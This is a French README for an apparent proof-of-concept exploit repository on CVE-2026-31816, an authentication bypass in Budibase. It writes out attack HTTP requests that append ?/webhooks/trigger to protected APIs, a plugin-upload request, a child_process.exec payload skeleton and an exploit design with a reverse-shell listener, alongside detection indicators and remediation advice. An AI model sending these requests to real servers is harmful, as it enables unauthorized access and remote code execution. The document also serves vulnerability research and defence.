k3ystr0k3r/cve-2026-31816Exploit PoC pour le contournement critique de l'authentification Budibase : une regex de webhook non ancrée permet aux attaquants d'ajouter ?/webhooks/trigger, d'atteindre des API protégées et d'enchaîner le téléversement de plugin jusqu'à une RCE.
CVE-2026-31816 est une vulnérabilité critique de contournement d'authentification et d'autorisation affectant Budibase.
La vulnérabilité se situe dans le middleware d'autorisation côté serveur chargé de protéger les points de terminaison API. Budibase tente d'identifier les points de terminaison webhook légitimes à l'aide d'une expression régulière non ancrée et évalue cette expression contre ctx.request.url de Koa.
Étant donné que ctx.request.url contient la chaîne de requête, un attaquant peut injecter un chemin ressemblant à un webhook dans le composant de requête d'une demande API par ailleurs sans rapport.
Par exemple :
/api/integrations?/webhooks/trigger
La demande ne cible pas réellement le point de terminaison webhook. Cependant, le contrôle vulnérable peut interpréter /webhooks/trigger comme la preuve que la demande est une demande webhook légitime et autoriser la poursuite de l'exécution sans les contrôles d'authentification et d'autorisation normaux.
La NVD décrit le problème comme permettant à un attaquant distant totalement non authentifié d'accéder aux points de terminaison API côté serveur en ajoutant un motif de chemin webhook à l'URL.
La NVD référence les versions de Budibase jusqu'à 3.31.4 comme affectées et attribue un score CVSS 3.1 de 9.1.
La logique vulnérable est centrée sur la détection de webhook effectuée avant l'autorisation normale.
L'avis de sécurité documente un code conceptuellement équivalent à :
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
Le problème est la combinaison de deux comportements :
ctx.request.url contient la chaîne de requête.Cela signifie que l'expression n'a pas besoin de correspondre au chemin de requête réel.
Une demande telle que :
/api/some/protected/endpoint?/webhooks/trigger
contient toujours la chaîne :
/webhooks/trigger
à l'intérieur de l'URL testée.
Le middleware d'autorisation traite ensuite la demande comme une demande webhook et atteint le point de terminaison sans effectuer le flux d'autorisation normal.
L'avis de sécurité Budibase identifie explicitement cela comme la faille sous-jacente et note que le contournement ignore l'authentification, l'autorisation, les contrôles de rôle et la protection CSRF.
Une demande normale vers un point de terminaison API protégé devrait passer par la couche d'authentification.
Par exemple :
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
Une instance vulnérable peut à la place être atteinte avec le motif webhook dans la chaîne de requête :
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
La partie importante est :
?/webhooks/trigger
Le point de terminaison lui-même n'a pas changé :
/api/integrations
Seule la chaîne de requête a été modifiée.
L'avis public Budibase démontre cette technique exacte contre /api/integrations et plusieurs autres points de terminaison côté serveur.
Une façon sûre de vérifier le contournement d'authentification dans un laboratoire contrôlé est de comparer une demande ordinaire avec la variante de requête webhook.
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
Le serveur vulnérable peut traiter la seconde demande sans les contrôles d'authentification qui protégeraient normalement le point de terminaison.
Un PoC publié utilise également :
/api/integrations?/webhooks/trigger
comme simple vérification de vulnérabilité.
Ce qui suit démontre la structure d'une demande API authentifiée transformée en demande non authentifiée par l'ajout du motif webhook.
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
L'avis officiel Budibase documente ce point de terminaison comme l'une des surfaces API affectées.
Les autres points de terminaison côté serveur documentés comme accessibles via la même faille incluent :
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
L'observation clé est que la vulnérabilité n'est pas liée à une ressource applicative particulière. Le middleware d'autorisation affecté se trouve devant un large ensemble d'API côté serveur.
Le contournement d'authentification peut devenir considérablement plus grave lorsqu'il est combiné à une API sensible capable d'accepter des fonctionnalités contrôlées par l'attaquant.
Le PoC de ce dépôt enchaîne la vulnérabilité comme suit :
┌─────────────────────────┐
│ Remote attacker │
└────────────┬────────────┘
│
│ ?/webhooks/trigger
▼
┌─────────────────────────┐
│ Budibase authorization │
│ middleware │
└────────────┬────────────┘
│
│ authentication bypass
▼
┌─────────────────────────┐
│ Protected server-side │
│ API endpoints │
└────────────┬────────────┘
│
│ plugin upload
▼
┌─────────────────────────┐
│ /api/plugin/upload │
└────────────┬────────────┘
│
│ crafted plugin
▼
┌─────────────────────────┐
│ Plugin JavaScript code │
│ execution │
└────────────┬────────────┘
│
▼
Code execution
/api/integrations, puis construit une archive de plugin Budibase et la soumet via /api/plugin/upload.Une fois l'autorisation contournée, la demande de téléversement de plugin suit le format de téléversement multipart normal, avec la requête webhook vulnérable ajoutée à l'URL.
Une représentation assainie est :
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close
--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip
<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--
Le PoC du dépôt crée cette demande multipart avec une archive de plugin .tar.gz et l'envoie à /api/plugin/upload?/webhooks/trigger.
Par sécurité, la demande ci-dessus laisse intentionnellement l'archive exécutable sous forme d'espace réservé plutôt que d'intégrer directement une charge utile de shell inverse dans la documentation.
Le PoC génère une archive de plugin contenant :
package.json
schema.json
datasource-helper.js
L'archive est créée sous forme d'archive tar compressée en gzip.
Le composant JavaScript est construit de sorte que Node.js charge child_process et exécute une commande fournie :
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);
L'implémentation du dépôt prend en charge plusieurs types de charge utile et génère dynamiquement la commande correspondante.
C'est la deuxième étape de la chaîne :
Authentication bypass
↓
Unauthenticated API access
↓
Plugin upload
↓
Attacker-controlled JavaScript
↓
Node.js command execution
La vulnérabilité est fondamentalement une erreur d'analyse d'URL et de frontière de confiance.
L'application a besoin que certaines routes webhook soient accessibles publiquement. Au lieu de déterminer si le chemin de requête réel appartient à une route webhook autorisée, l'implémentation vulnérable recherche une sous-chaîne correspondante dans toute l'URL.
Conceptuellement :
Expected:
request.path
│
└── must actually equal a webhook endpoint
Actual vulnerable behavior:
request.url
│
├── path
└── query string
│
└── attacker-controlled text
│
└── /webhooks/trigger
Étant donné que la chaîne de requête est contrôlée par l'attaquant, celui-ci peut placer la chaîne attendue par le détecteur de webhook n'importe où dans l'URL.
Cela fait qu'un contrôle booléen sensible à la sécurité renvoie le mauvais résultat :
isWebhookEndpoint(ctx)
│
├── false → normal authorization
│
└── true → return next()
│
├── authentication skipped
├── authorization skipped
├── role checks skipped
└── CSRF checks skipped
L'avis Budibase décrit explicitement le comportement précoce return next() et le contournement des contrôles de sécurité qui en résulte.
La vulnérabilité est considérablement plus large qu'un simple contournement de connexion.
Selon l'avis du fournisseur, l'exploitation peut fournir un accès non authentifié aux API côté serveur affectant :
L'avis confirme également que le contournement élimine la protection CSRF et ne nécessite ni interaction utilisateur ni identifiants existants.
Lorsqu'une API vulnérable capable de traiter des fonctionnalités contrôlées par l'attaquant est accessible via le contournement, la vulnérabilité peut être enchaînée en exécution de code arbitraire.
Le PoC inclus dans ce dépôt démontre ce chemin d'attaque en construisant une archive de plugin, en la téléversant et en attendant son exécution.
Une stratégie de détection de base consiste à comparer le comportement d'authentification d'une demande ordinaire et de la même demande avec un suffixe de requête de type webhook.
Exemple :
curl -i http://127.0.0.1:10000/api/integrations
par rapport à :
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'
Une installation vulnérable peut exposer un point de terminaison protégé via la seconde demande.
Cette technique est également utilisée par le matériel de détection publiquement disponible pour CVE-2026-31816.
L'entrée NVD identifie :
Budibase <= 3.31.4
comme affecté.
Il existe une divergence documentaire importante à noter : l'avis de sécurité GitHub en ligne affiche actuellement « Versions corrigées : Aucune », tandis que des références de vulnérabilité indépendantes identifient 3.31.5 et ultérieur comme limite de remédiation.
Pour cette raison, ce dépôt ne doit pas présenter 3.31.5 comme un correctif inquestionnable confirmé par le fournisseur, sauf si la version/le changement Budibase correspondant est vérifié indépendamment.
La remédiation principale consiste à mettre à niveau Budibase vers une version contenant le correctif en amont.
En attendant qu'un correctif soit possible, les contrôles défensifs peuvent inclure :
1. Restrict network access to the Budibase server.
2. Place the administrative interface behind trusted-network controls.
3. Monitor for webhook-style strings appearing in API query parameters.
4. Review logs for requests containing:
/webhooks/trigger
/webhooks/schema
/webhooks/discord
/webhooks/ms-teams
5. Restrict unnecessary plugin-management functionality.
La vulnérabilité est particulièrement préoccupante pour les déploiements auto-hébergés exposés à Internet, car l'attaque ne nécessite aucune session authentifiée.
Un indicateur utile au niveau des journaux est une demande API contenant un motif de route webhook dans la chaîne de requête :
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams
Par exemple :
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger
Ces motifs doivent être investigués plutôt qu'automatiquement considérés comme une preuve d'exploitation, car le trafic légitime et le comportement spécifique de l'application doivent également être pris en compte.
L'implémentation de l'exploit dans ce dépôt est divisée en plusieurs composants logiques :
ExploitConfig
│
├── target
├── LHOST
├── LPORT
└── payload type
│
▼
BudibaseClient
│
├── vulnerability check
└── plugin upload
│
▼
PluginBuilder
│
└── .tar.gz
│
▼
PayloadBuilder
│
└── JavaScript
│
▼
command execution
L'implémentation contient également un écouteur optionnel pour recevoir une connexion shell après une exploitation réussie.
Pour un laboratoire contrôlé :
1. Deploy a vulnerable Budibase release.
2. Send a baseline request to a protected endpoint.
3. Repeat the request with ?/webhooks/trigger.
4. Compare the authentication behavior.
5. Confirm that the protected API becomes reachable.
6. In an isolated environment, test the plugin-upload stage.
7. Verify command execution using a harmless proof such as creating a temporary marker file.
Cette vulnérabilité est un bon exemple de pourquoi la correspondance d'URL sensible à la sécurité doit être effectuée contre un chemin de requête correctement analysé et normalisé plutôt que contre une chaîne d'URL complète contrôlée par l'attaquant.
Le bug est subtil car la fonctionnalité webhook elle-même est légitime. Le problème est la décision de confiance prise par le middleware :
"Does this request target a webhook?"
est effectivement répondue par :
"Does the entire URL contain a webhook-looking substring?"
Ce ne sont pas des propriétés de sécurité équivalentes.
Un attaquant n'a donc pas besoin de faire en sorte que sa demande devienne réellement une demande webhook. Il doit seulement faire croire au middleware d'autorisation qu'il s'en agit.
Ce dépôt est destiné à la recherche en sécurité, la validation de vulnérabilités et les tests autorisés. N'utilisez pas cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
| Champ | Valeur |
|---|
| CVE | CVE-2026-31816 |
| Fournisseur | Budibase |
| Produit | Budibase |
| Versions affectées | <= 3.31.4 |
| Sévérité | Critique |
| CVSS v3.1 | 9.1 |
| Vecteur CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| Vecteur d'attaque | Réseau |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Authentification requise | Non |